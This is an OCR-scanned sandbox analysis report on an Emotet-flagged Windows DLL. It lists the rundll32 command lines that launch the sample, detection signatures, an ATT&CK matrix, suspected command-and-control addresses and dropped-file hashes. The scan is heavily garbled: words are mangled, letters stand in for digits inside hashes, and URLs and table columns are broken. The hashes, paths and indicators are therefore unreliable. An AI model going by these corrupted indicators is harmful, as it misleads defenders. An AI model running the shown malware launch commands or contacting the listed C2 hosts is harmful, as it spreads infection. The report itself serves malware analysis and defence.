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Windows Analysis Report 3p01282Kpx

Overview

General Information Detection Classification
Sample 3p01282Kpx (renamed file

Name: extension from none to dil) MALICIOUS Multi AV Scanner. detection for subm...

Analysis ID: 532438

MD5:
173345845a2a7d.. System process connects to networ...
SHA1:
35ed97b5acase.. Sigma detected: Emotet RunDLL32 ...
SHA256: 9ed58848f0a7b35. " "
Multi AV Scanner detection for doma...
Changes security center settings (no...
Infos:

Most interesting Screenshot:

Yara detected Emotet

@ ot Y _
- Hides that the sample has been dow...
L4
Uses|32bit PEfiles

Queries the velumelinfermation (nam...

96

Score: OnE 6l MOre PreCESSES|crash
Range: 0-100 Contains functionality te checkifiaid:..
Whitelisted: false

X Deletesifiles inside the: Windows fold...
Confidence: 100%

%)
«Q
=3
4
c
=
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Process Tree

= System is w10x64
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o [
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loaddll32.exe (PID: 2616 cmdline: loaddll32.exe "C:\Users\user\Desktop\3p01282Kpx.dIl" MD5: 72FCD8FBOADC38ED9I050569AD673650E)
cmd.exe (PID: 2176 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\3p0O1282Kpx.dllI",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
. D rundlI32.exe (PID: 3256 cmdline: rundll32.exe “"C:\Users\user\Desktop\3p0O1282Kpx.dll",#1 MD5: D7CA562B0DB4F4DDOF03A89A1FDADG3D)
. D rundlI32.exe (PID: 5592 cmdline: C:\Windows\SysWOW64\rundll32.exe “C:\Users\user\Desktop\3p01282Kpx.dIl",Control_RunDLL MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)
D rundll32.exe (PID: 4132 cmdline: rundll32.exe C:\Users\user\Desktop\3p01282Kpx.dll,Control_RunDLL MD5: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D)
. D rundlI32.exe (PID: 5848 cmdline: C:\Windows\SysWOW64\rundll32.exe “"C:\Windows\SysWOW64\Qfdohhzjskeoxat\kmkxxcep.fzg",diwFDzhLoc MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)
. D rundlI32.exe (PID: 1184 cmdline: C:\Windows\SysWOW&64\rundll32.exe “"C:\Windows\System32\Qfdohhzjskeoxat\kmkxxcep.fzg",Control_RunDLL MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)
D rundll32.exe (PID: 1460 cmdline: rundll32.exe C:\Users\user\Desktop\3p01282Kpx.dll,ajkaibu MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD63D)
. D rundlI32.exe (PID: 5856 cmdline: C:\Windows\SysWOW64\rundll32.exe “"C:\Users\user\Desktop\3p0O1282Kpx.dIl*,Control_RunDLL MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)
D rundlI32.exe (PID: 2500 cmdline: rundll32.exe C:\Users\user\Desktop\3p0O1282Kpx.dll,akyncbgollmj MD5: D7CA562B0DB4F4DDOF03A89A1FDAD63D)
. D rundlI32.exe (PID: 3444 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\3p01282Kpx.dII*,Control_RunDLL MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)
@ WerFault.exe (PID: 4460 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2616 -s 308 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
@ WerFault.exe (PID: 4976 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2616 -s 316 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
svchost.exe (PID: 6068 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 5668 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 5936 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 3772 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
SgrmBroker.exe (PID: 1404 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)
svchost.exe (PID: 5496 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
== MpCmdRun.exe (PID: 5352 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)
. conhost.exe (PID: 2144 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
svchost.exe (PID: 5160 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

. @ WerFault.exe (PID: 4956 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2616 -ip 2616 MD5: 9E2B8BACAD48ECCA55C0230D63623661B)
. @v WerFault.exe (PID: 5020 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2616 -ip 2616 MD5: 9E2BSACAD48ECCAS55C0230D63623661B)

e [ svchostexe (PID: 4776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

e [ svchostexe (PID: 5552 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

e [ svchostexe (PID: 2968 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

e [ svchostexe (PID: 4640 cmdline: C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchostexe (PID: 1460 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

= cleanup

Malware Configuration
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No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000004.00000002.490792818.00000000006D0000.00000 JoeSecurity Emotet Yara detected Joe Security
040.00000010.sdmp Emotet
00000004.00000002.490792818.00000000006D0000.00000 JoeSecurity Emotet_1  Yara detected Joe Security
040.00000010.sdmp Emotet
00000000.00000000.516872338.00000000014D0000.00000 JoeSecurity Emotet Yara detected Joe Security
040.00000010.sdmp Emotet
00000000.00000000.516872338.00000000014D0000.00000 JoeSecurity Emotet_1  Yara detected Joe Security
040.00000010.sdmp Emotet
00000000.00000000.493687779.00000000014D0000.00000 JoeSecurity Emotet Yara detected Joe Security
040.00000010.sdmp Emotet

Click to see the 35 entries

Unpacked PEs

Source Rule Description Author Strings

0.0.loaddlI32.exe.1523618.10.raw.unpack JoeSecurity_Emotet Yara detected Joe Security
Emotet

0.0.loaddlI32.exe.1523618.10.raw.unpack JoeSecurity Emotet_1  Yara detected Joe Security
Emotet

2.2.rundlI32.exe.520000.0.raw.unpack JoeSecurity_Emotet Yara detected Joe Security
Emotet

2.2.rundlI32.exe.520000.0.raw.unpack JoeSecurity Emotet_1  Yara detected Joe Security
Emotet

0.0.loaddlI32.exe.1523618.1.unpack JoeSecurity_Emotet Yara detected Joe Security
Emotet

Click to see the 75 entries

Sigma Overview

System Summary: -i.

Sigma detected: Emotet RunDLL32 Process Creation

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Networking:

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud: -i.
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Yara detected Emotet

System Summary:

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Lowering of HIPS | PFW | Operating System Security Settings:

Stealing of Sensitive Information:

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Comma
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Cor
Valid Windows DLL Side-  Process Masquerading os System Time Remote Archive Exfiltration Over Other ~ Encrypte
Accounts  Management Loading Injection Credential  Discovery Services Collected  Network Medium Channel
Instrumentation Dumping Data
Default Native API Boot or DLL Side- Disable or Modify LSASS Query Registry Remote Data from  Exfiltration Over Ingress
Accounts Logon Loading Tools Memory Desktop Removable Bluetooth Transfer
Initialization Protocol Media
Scripts
Domain At (Linux) Logon Script Logon Script Virtualization/Sandbox Security Security Software SMB/Windows Data from  Automated Exfiltration ~ Non-
Accounts (Windows)  (Windows) Evasion Account  Discovery [ Admin Shares Network Applicati
Manager Shared Layer
Drive Protocol
Local At (Windows) Logon Script Logon Script Process NTDS Virtualization/Sandbox Distributed Input Scheduled Transfer Applicati
Accounts (Mac) (Mac) Injection Evasion Component  Capture Layer
Object Model Protocol
Cloud Cron Network Network Logon  Deobfuscate/Decode LSA Process Discovery SSH Keylogging Data Transfer Size Fallback
Accounts Logon Script Script Files or Information Secrets Limits Channel
Replication  Launchd Rc.common  Rc.common Hidden Files and Cached Remote System VNC GUI Input  Exfiltration Over C2 Multiban
Through Directories Domain Discovery Capture Channel Commui
Removable Credentials
Media
External Scheduled Task  Startup Startup Items Obfuscated Filesor  DCSync File and Directory Windows Web Portal Exfiltration Over Commot
Remote Items Information Discovery Remote Capture Alternative Protocol Used Pc
Services Management
Drive-by Command and Scheduled  Scheduled RundlI32 Proc System Information Shared Credential Exfiltration Over Applicati
Compromise Scripting Task/Job Task/Job Filesystem Discovery Webroot API Symmetric Encrypted Layer Pr
Interpreter Hooking Non-C2 Protocol
Exploit PowerShell At (Linux) At (Linux) DLL Side-Loading letc/passwd System Network Software Data Exfiltration Over Web Prc
Public- and Connections Deployment  Staged Asymmetric Encrypted
Facing letc/shadow Discovery Tools Non-C2 Protocol
Application
Supply AppleScript At At (Windows) File Deletion Network Process Discovery Taint Shared Local Data Exfiltration Over File Trar
Chain (Windows) Sniffing Content Staging Unencrypted/Obfuscated Protocol
Compromise Non-C2 Protocol
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Behavior Graph

Behavior Graph
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label
3p01282Kpx.dll 23% Virustotal
3p01282Kpx.dll 18% ReversingLabs Win32.Trojan.Phonzy

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label

14.2.rundll32.exe.33d0000.0.unpack 100% Avira HEUR/AGEN.1110387
25.2.rundll32.exe.2960000.0.unpack 100% Avira HEUR/AGEN.1110387
3.2.rundlI32.exe.700000.0.unpack 100% Avira HEUR/AGEN.1110387
5.2.rundlI32.exe.33e0000.0.unpack 100% Avira HEUR/AGEN.1110387
4.2.rundll32.exe.6d0000.0.unpack 100% Avira HEUR/AGEN.1110387
0.0.loaddlI32.exe.14d0000.6.unpack 100% Avira HEUR/AGEN.1110387
2.2.rundlI32.exe.520000.0.unpack 100% Avira HEUR/AGEN.1110387
0.0.loaddlI32.exe.14d0000.3.unpack 100% Avira HEUR/AGEN.1110387
0.0.loaddlI32.exe.14d0000.0.unpack 100% Avira HEUR/AGEN.1110387
0.2.loaddlI32.exe.14d0000.0.unpack 100% Avira HEUR/AGEN.1110387
0.0.loaddlI32.exe.14d0000.9.unpack 100% Avira HEUR/AGEN.1110387

Copyright Joe Security LLC 2021

Link

Link

Browse

Download

Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
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https://www.virustotal.com/gui/file/9ed58848f0a7b354a32d4ef67ea9ff70ba75f9238c39d9f1af88fae6811cb504/detection/f-9ed58848f0a7b354a32d4ef67ea9ff70ba75f9238c39d9f1af88fae6811cb504-1638433119

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:i/https://45.63.5.129/fqwqvipxZYjgSrhYeuylraBSZOVBNdJZxHBzTVnNstuWavuGIHdFStXKFDNb 0% Avira URL Cloud safe

http:/fcrl.microsoft 0% URL Reputation safe
http:i/https://45.63.5.129/fqwavipxZYjgSrhYeuylraBSZOVBNdJZxHBzTVnNstuWavuGIHdFStXKFDNG 0% Avira URL Cloud safe
WpstpsiSE3SI e Visewl powse
http:ifhttps://45.63.5.129/ 0% Avira URL Cloud safe
http://https://iwww.disneyplus.com/legallyour-california-privacy-rights 0% URL Reputation safe

http:ifcrl.ver) 0% Avira URL Cloud safe
http:i/https://45.63.5.129/fqwavipxZYjgSrhYeuylraBSZOVBNdJZxHBzTVnNstuWavuGIHdFStXKFDNOz 0% Avira URL Cloud safe
http:ifhttps://www.tiktok.com/legal/report/feedback 0% URL Reputation safe
http:i/https://45.63.5.129/fqwqvipxZYjgSrhYeuylraBSZOVBNdJZxHBzTVnNstuWavuGIHdFStXKFDN 0% Avira URL Cloud safe
http:ifhttps://%s.xboxlive.com 0% URL Reputation safe
http:i/https://iwww.disneyplus.com/legal/privacy-policy 0% URL Reputation safe
http:ifhttps://dynamic.t 0% URL Reputation safe
http:i/https://disneyplus.com/legal. 0% URL Reputation safe
http:ifhttps://www.tiktok.com/legal/report/ 0% Avira URL Cloud safe
http:/fhelp.disneyplus.com. 0% URL Reputation safe
http:ifhttps://%s.dnet.xboxlive.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public
Domain Country Flag ASN Name Malicious
Private
P
127.0.0.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 532438
Start date: 02.12.2021
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https://www.virustotal.com/gui/url/e30bdc678717bd562727e5879508d57b27fa05b172ae474f802062634bbf9c87/detection/u-e30bdc678717bd562727e5879508d57b27fa05b172ae474f802062634bbf9c87-1638376524

Start time: 09:32:22

Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 13m 7s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: 3p01282Kpx (renamed file extension from none to dll)
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 40
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal96.troj.evad.winDLL@46/21@0/2
EGA Information: Failed
HDC Information: e Successful, ratio: 23.4% (good quality ratio 21.9%)

e Quality average: 70.2%
e Quality standard deviation: 26.3%

HCA Information: e Successful, ratio: 86%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Override analysis time to 240s for rundlI32
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

09:33:30 API Interceptor 10x Sleep call for process: svchost.exe modified
09:35:41 API Interceptor 1x Sleep call for process: WerFault.exe modified
09:36:04 API Interceptor 1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context
Domains

No context

ASN

Match Associated Sample Name / URL SHA 256 Detection Link Context

AS-CHOOPAUS Get hash malicious Browse e 45.63.5.129

Get hash malicious Browse e 45.63.5.129
Copyright Joe Security LLC 2021 Page 10 of 31


https://view.joesandbox.com/analysis/419499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid

Match

JA3 Fingerprints

Match
51c64c77e60f3980eea90869b68c58a8

Dropped Files

No context

SHA 256

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> >
3 [7]
] 73
o o
Q, Q,
2 2
@ @
-3 -
(7] [
] o
3 3
-3 -
o ®
P4 2
o o
3 3
® ®
c [=
o a
[l [

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 8192

Entropy (8bit):  0.3593198815979092

Encrypted: false

SSDEEP: 12:Snaab0JcaaD0JwQQU2naaD0JcaaD0IwQQU:4tgJctgIw/tgJctgIw
MD5: BF1DC7D5D8DAD7478F426DF8B3F8BAAG
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Detection

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 45.63.5.129
e 45.63.36.79
® 66.42.57.149
® 66.42.57.149
e 149.28.253.196
e 149.28.253.196
e 149.28.253.196
e 149.28.253.196

e 45.32.115.235
e 149.28.253.196
e 149.28.253.196

e 149.28.253.196
e 149.28.253.196
e 45.32.162.141

e 149.28.253.196

e 136.244.11
7.138

e 45.77.44.252
e 149.28.253.196

Context

e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 4563.5.129
e 45.63.5.129
e 45.63.5.129
e 45.63.5.129
e 45.63.5.129
e 45.63.5.129
e 45.63.5.129
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https://view.joesandbox.com/analysis/419403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid
https://view.joesandbox.com/analysis/419233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419233/html/none?idtype=webid
https://view.joesandbox.com/analysis/419172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419172/html/none?idtype=webid
https://view.joesandbox.com/analysis/419162/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419162/html/none?idtype=webid
https://view.joesandbox.com/analysis/418946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418946/html/none?idtype=webid
https://view.joesandbox.com/analysis/418941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418941/html/none?idtype=webid
https://view.joesandbox.com/analysis/418872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418872/html/none?idtype=webid
https://view.joesandbox.com/analysis/418853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418853/html/none?idtype=webid
https://view.joesandbox.com/analysis/418729/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418729/html/none?idtype=webid
https://view.joesandbox.com/analysis/418639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418639/html/none?idtype=webid
https://view.joesandbox.com/analysis/418606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418606/html/none?idtype=webid
https://view.joesandbox.com/analysis/418491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418491/html/none?idtype=webid
https://view.joesandbox.com/analysis/418475/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418475/html/none?idtype=webid
https://view.joesandbox.com/analysis/418455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418455/html/none?idtype=webid
https://view.joesandbox.com/analysis/418437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418437/html/none?idtype=webid
https://view.joesandbox.com/analysis/418402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418402/html/none?idtype=webid
https://view.joesandbox.com/analysis/418395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418395/html/none?idtype=webid
https://view.joesandbox.com/analysis/418388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418388/html/none?idtype=webid
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid
https://view.joesandbox.com/analysis/419366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419366/html/none?idtype=webid
https://view.joesandbox.com/analysis/419190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419190/html/none?idtype=webid
https://view.joesandbox.com/analysis/419172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419172/html/none?idtype=webid
https://view.joesandbox.com/analysis/419162/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419162/html/none?idtype=webid
https://view.joesandbox.com/analysis/418875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418875/html/none?idtype=webid
https://view.joesandbox.com/analysis/418149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418149/html/none?idtype=webid
https://view.joesandbox.com/analysis/417445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417445/html/none?idtype=webid
https://view.joesandbox.com/analysis/417368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417368/html/none?idtype=webid
https://view.joesandbox.com/analysis/417367/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417367/html/none?idtype=webid
https://view.joesandbox.com/analysis/417366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417366/html/none?idtype=webid
https://view.joesandbox.com/analysis/417365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417365/html/none?idtype=webid
https://view.joesandbox.com/analysis/417364/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417364/html/none?idtype=webid
https://view.joesandbox.com/analysis/417363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417363/html/none?idtype=webid
https://view.joesandbox.com/analysis/417361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417361/html/none?idtype=webid
https://view.joesandbox.com/analysis/417360/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417360/html/none?idtype=webid
https://view.joesandbox.com/analysis/417359/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417359/html/none?idtype=webid
https://view.joesandbox.com/analysis/417358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417358/html/none?idtype=webid

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C6BOBDE788F553F865D65F773D8F6A3546887E42
BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BEODA498COF2

00F2412AA04E09EA19A8315D80BEG6D2727C713FCOFSAEGA9334BABA539817F568A98CA3A45B2673282BDD325B8BOE2840A393A4DCFADCB16473F5EAF2AF31E
0

false

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

MPEG-4 LOAS

dropped

1310720

0.24942566786740486

false

1536:BJiRdfVzkZm3lyf49uyc0ga04PdHSILrM/oVMUdSRU4k:BJiRdwfu2SRU4k
F78E70A1621F2D5C73A7D5A9F1114557
02444FDD416593D5609ED34E781BD80BBABADB17
B0247AA90FBD07D35C07CD761E4CE4D6E981DE9252E45430CCC8926E10978F45

B4CAB883A2E0C299C574335BD385744FFE109E8E270194E316D3CB968DESFF009A4DB4479DECE14FB467CE31AB4BA1BEEA4F77CB3EDDSBFF47F321351DB6511
97

false

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

Extensible storage engine DataBase, version 0x620, checksum Oxaa8f4eab, page size 16384, Windows version 10.0
dropped

786432

0.25060064220021383

false

384:HESE3+WO0StseCJ48EApWOStseCJ48E2rTSjIK/ebmLerYSRSY1J2:HESE8SB2nSB2RSjIK/+mLesOj1J2
3131682BBEAO3E9062431DF4D4A37425

F142C57DE3CE14B3CD740156499470EA607A54EA
FB91C9E4763A52EBD86C30EFED3D88B118CB129C817008A131A46D8674C79312

121D4A1FC467A98BCD4EADA96DEG61IA91E6FDOD4813F9116E9AS551F6EE269C844CA4CA515BE79D53CES80AEOF482FC6475AA5DAFB1FF752D94DDE3BEGSFB7C
5EE

false

C:\ProgramData\Microsoft\Network\Downloader\gmgr.jfm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\System32\svchost.exe

data

dropped

16384

0.07430065591163745

false

3:aXJ7v7wuRkpDYEDge3ITpyyll3VkttimInl:aXJrLMV3
8978474C3FAEEGOFE67EC9A3CEECB56B
08DBA96654DF218266F5E94BOF5B218A44880191
DF10EF51ADAA2ECFECA26DABFOC537592DFFD066AC204167AE7ABA4C370A1D2A
FB3520CB49477C38686F994CAA110B79AF19F079590B460DB392B1228A75E5725F375C8A2CB63B490D292DF32B948400E77C959B713361B160EE2088973CE272

false
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C:\ProgramData\Microsoft\Network\Downloader\gmgr.jfm

Preview:

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_747b3d3843a661accc8c92924ccfd5a2e2d128 d70d8aa6_10c8bd69\R

eport.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

65536

0.6749421180832825

false
96:PCdstZqyay9hkoyt7JfqpXIQcQ5c6A2cE2cw33+a+z+HbHgkVG4rmMOyWZAXGngP:6eBDHNM28jjoq/u7sVS2741tW
3A3ED2564A039109118313347F1708C4

F6DDCC7CAC4CA49BA35D04F47513C87A41C912D4
70C976E3B6692CFC41EB7E7465231DF682098510B8CED3F6BABADS7322934D90
82110461E1AB100899944DC61A276806949C132DB87513C982E74B67E1856B63A6127D1023586DE970918576A507C9016E59BDD293C432CD1CI9F10ECAA3ASBE

false

.V.eursio.n=1...EventTyp.e=APP.CRASH..EventTim.e=13228294.0.1.2200935.0.27...Rep.ortTy.p.e=2...C.ons.ent=1..R.e.p.o.rtld.
e.ntifier=.e9.83.e.4.84.-9¢e.c4.-4.c15-9f3f-12a.c.f6.74.0e43...IntegratorReportlden.tifier=0.8f5fa.9.d.-8.a8.6.-4.6.9.9.-852d.-.15.
0.f.5.c.0.e.c.d.6.5....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=3.3.2....N.s.Ap.p.N.ame.=lo.a.d.dll.3.2. .exe..Ap.p.S.es.s.ionG.u.id=0.0.0.0.0.a.3.8.-
.0.0.0.1.-.0.0.1.6.-.c.1.1.d.-.8.e.b.0.a.2.e.7.d.7.0.1.... T.a.r.g.e.t A.p.p...d.=.W...0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f..f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.1.0.0.0.
0.d.a.3.9.a.3.e.e.5..6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9...l.0.a.d.d.l.1.3.2...e.x.e....T.ar.g.e.t App.p.V.e.r=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.1.0.1.1.
o.a.d.dll3.2..ex.e...B.0.0.tld=4294.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_d71d33d652a62c864ch684e881f783bcee8c2df7_d70d8aa6_12d4f551

\Report.wer
Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

65536

0.6786399792915607

false
96:ywFUALtZqyfy9hk1Dg3fWpXIQcQxc6VcEzew3VR+a+z+HbHgkVG4rmMOyWZAXGngm: Xe8BfHPRZvjoq/u7sVS2741tW
E042DAF2DC9C863DE6347875D5957573

AF0902501CD2A5179FBBD762FF0B061DD67D86F7
2DDC12FFFF33ADD57AC88C378CF97F48B86C4A98E34B372CCODB6CA12BIAA4AT

2B2FF5E1718C8A833CC10DB2COE94EAC6A816419CB9464AE02B9576607ES5FA4EGES75F1384FDB24C21DC3264278CEEA4168CF73371E8E2C73AB131DFCE2747!
F

false

.Versionz=1...EventType=APPCRASH...EventTime=1328294.0133.3.0.14.8.18...Rep.ortType=2..Consent=1..UploadT.i
m.e.=.1.3.2.8.2.9.4.0.1.3.9.7.0.7.7.0.1.2....R.e.p.ortStatu.s.=524384...Rep.ortlden.tifier=3185093.c5.-.c95b.-4efa-93da-9.214.e6.cl5b.
